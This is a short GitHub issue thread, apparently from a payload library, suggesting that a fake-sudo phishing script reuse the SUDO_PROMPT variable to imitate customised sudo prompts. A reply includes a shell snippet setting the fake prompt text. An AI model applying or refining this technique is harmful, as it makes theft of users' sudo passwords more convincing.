jhollowe opened this issue 2 years ago · 1 comments
for payloads/library/phishing/fake-sudo/sudo-phishing.sh, using the SUDO_PROMPT environment variable would allow this to be more convincing in environments with customized sudo prompts.
SUDO_PROMPT
Hello @jhollowe, it's a good idea, I guess this replacement :
if [ -z "${SUDO_PROMPT}" ] then readonly INPUT_MESSAGE="[sudo] password for ${USER}: " else readonly INPUT_MESSAGE="${SUDO_PROMPT}" fi
would allow this optimization ?